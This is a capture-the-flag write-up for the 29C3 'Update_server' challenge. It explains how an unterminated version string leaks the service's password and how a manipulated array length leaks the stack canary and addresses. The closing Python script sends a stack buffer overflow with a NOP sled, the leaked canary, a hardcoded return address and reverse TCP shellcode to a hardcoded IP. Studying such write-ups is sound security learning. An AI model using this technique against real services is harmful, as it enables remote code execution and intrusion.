29C3 CTF Exploitation 300 Update_server

It’s a version update service. If the input version number is smaller than current version, remote server will send you back the current version. If the input version number is bigger, remote server will save the input version number and ask for some “link” information which will lead to buffer overflow. However, the update of version numver is authenticated by a password given by remote runtime parameter. We should bypass the authentcation before we exploit the buufer overflow. I noticed some code as below:

update_server_equal_version

If the input version number equals current version number, the server will send back the input version string without adding null-byte at the end of the intput buffer. After checking the stack layout, we will surprisedly find that the password is right after the buffer.

update_server_stack

So we can construnt a long enough string to get the password exposed. It is “1n53cUr3-pppAssW0rD”. We are not finished here, we’ve just started.

Notice that the program is using gcc stack protection mechanism. Stack is protected against bufferoverflow with the 4-byte canary. What’s more, the servie is running with ASLR.

Carefully check the vulnerable code again:

update_server_exploit

Before reveiving the second long input buffer, the program will show all the versions to us. Versions are stored in an array. The length is parsed from the first byte. So we can construct a large array length to get more strings exposed on the stack! Using such trick, we can get 4 byte canary and even address in the stack to bypass ASLR!

What’s left is quite easy, just run your code and enjoy your flag:)

import sys
import time
import socket
shellcode = WE_USE_REVERSE_TCP_SHELL

import string
def chr2hex(s):
  ss = ""
  for c in s:
    if c in string.printable:
      ss += c
      continue
    h = hex(ord(c))[2:]
    if len(h) == 1: h = "0"+h
    ss += "\\x" + h
  return ss


password = "1n53cUr3-pppAssW0rD"

s = socket.socket()
s.connect(("94.45.252.235", 1024))
#s.connect(("166.111.132.184", 1024))

#print s.recv(10000)
#s.send("\x013.0"+"A"*124)
#print s.recv(10000)
#print s.recv(10000)

print s.recv(10000)
n = 90
canary = "\x00\x4e\xae\x8a"

#s.send("\x013.0"+"A"*124)
s.send(chr(n)+"4"*127)
print s.recv(10000)
print s.recv(10000)
s.send(password)

print s.recv(10000)
ret = s.recv(10000)
print ret

print "*********"
print chr2hex(ret)
i = ret.rfind(password)
print "*********"
print chr2hex(ret[i+128:i+128+4]) # print canary

# hardcoded address is acquired from above output
buf = "\x90"*256+canary+"\x90"*(288-256-4)+"\x9c\xf7\xba\xbf"+"\x90"*600+shellcode+\
    "A"*(1024-288-4-600-len(shellcode))

s.send(buf)

print s.recv(10000)
print s.recv(10000)
print s.recv(10000)